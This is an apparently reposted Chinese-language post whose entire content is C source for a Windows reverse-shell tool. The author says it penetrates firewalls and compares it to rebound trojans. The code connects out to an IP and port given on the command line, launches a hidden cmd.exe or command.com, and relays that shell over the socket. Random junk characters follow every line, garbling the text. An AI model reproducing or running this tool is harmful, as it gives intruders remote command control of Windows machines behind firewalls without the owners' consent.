Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 l1]{r2g  
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/* ============================== hHVAN3e  
Rebound port in Windows NT S,Q^M )$  
By wind,2006/7 Shy.:XI  
===============================*/ <a -a~  
#include (GL'm[V  
#include SG\ /m'F  
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#pragma comment(lib,"wsock32.lib") Q(yg bT  
!^98o:"x  
void OutputShell(); iV?8'^  
SOCKET sClient; YzM/?enK}T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :{Z%dD  
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void main(int argc,char **argv) !> +Lre@  
{ biS[GyQ  
WSADATA stWsaData;  WTl0}wi  
int nRet; $V?sD{=W  
SOCKADDR_IN stSaiClient,stSaiServer; a*D<J}xe  
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if(argc != 3) uuF~+=.|  
{ W% Lrp{  
printf("Useage:\n\rRebound DestIP DestPort\n"); =EA @  
return; {Ke IYjE  
} +$(y2F7|u-  
wA/!A$v(  
WSAStartup(MAKEWORD(2,2),&stWsaData); uuD2O )v  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1D8S}=5&  
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stSaiClient.sin_family = AF_INET; %@)q=*=y  
stSaiClient.sin_port = htons(0); ONcLhwH  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }b}jw.2Wu  
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R<Q?D+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) aBY&]6^-  
{ k{F6WQ7  
printf("Bind Socket Failed!\n"); 0Qvr g+  
return; AI{0;0  
} #4LTUVH  
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stSaiServer.sin_family = AF_INET; 7]5~ml3:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w%)RX<h dI  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u #}1 M  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v*JKLA  
{ +,ar`:x&a  
printf("Connect Error!"); H\<0{#F  
return; #`%S[)RT  
} A=|a!N/  
OutputShell(); P(8 uL|^  
} |P|2E~[r  
&Fuk+Cu{  
void OutputShell() [qkW/qS  
{ 5MCgmF*Y2  
char szBuff[1024]; <_eEpG}9  
SECURITY_ATTRIBUTES stSecurityAttributes; LCA+y1LP-_  
OSVERSIONINFO stOsversionInfo; V3VTbgF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <im}R9eJ1  
STARTUPINFO stStartupInfo; #>lbpw  
char *szShell; ( )ldn?v  
PROCESS_INFORMATION stProcessInformation; 6}c!>n['  
unsigned long lBytesRead; o(l%k},a  
)AdwA+-x  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :KG=3un]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m3P7*S5NJ7  
stSecurityAttributes.lpSecurityDescriptor = 0; ^*$!9~  
stSecurityAttributes.bInheritHandle = TRUE; IV':sNV  
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hH;i_("i(h  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f]?&R c2C  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 06.8m;{N  
w^nA/=;r  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `VGw5o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Th\T$T`X$  
stStartupInfo.wShowWindow = SW_HIDE; [U^Cz{G  
stStartupInfo.hStdInput = hReadPipe;  g;AW  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d*k5h<jM
 
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GetVersionEx(&stOsversionInfo); knV*,   
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switch(stOsversionInfo.dwPlatformId) A(`Mwh+  
{ N:+EGmp  
case 1: ax;<idC}  
szShell = "command.com"; T5T[$%]6  
break; T<Zi67QC@  
default: 5i'?oXL  
szShell = "cmd.exe"; L5KcI  
break; 0 .T5% _/  
} 9X33{  
Tl-%;X<X  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?g@X+!RB  
=<aFkBX-  
send(sClient,szMsg,77,0); u=~`5vA  
while(1) !e |Bi{  
{ |<oqT+?i  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x.|sCqx  
if(lBytesRead) c0&!S-4M  
{ d>zC[]1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ""N~##)8  
send(sClient,szBuff,lBytesRead,0); 0/7.RpX,.  
} p*@t$0i  
else j%Uoigi  
{ ObreDv^,  
lBytesRead=recv(sClient,szBuff,1024,0); /FPO'} 6i  
if(lBytesRead<=0) break; En&gI`3n  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); IFa~`Gf[  
} xy&*s\=:  
} Rd]<591  
]{+Y!tD  
return; L %ifl:K  
}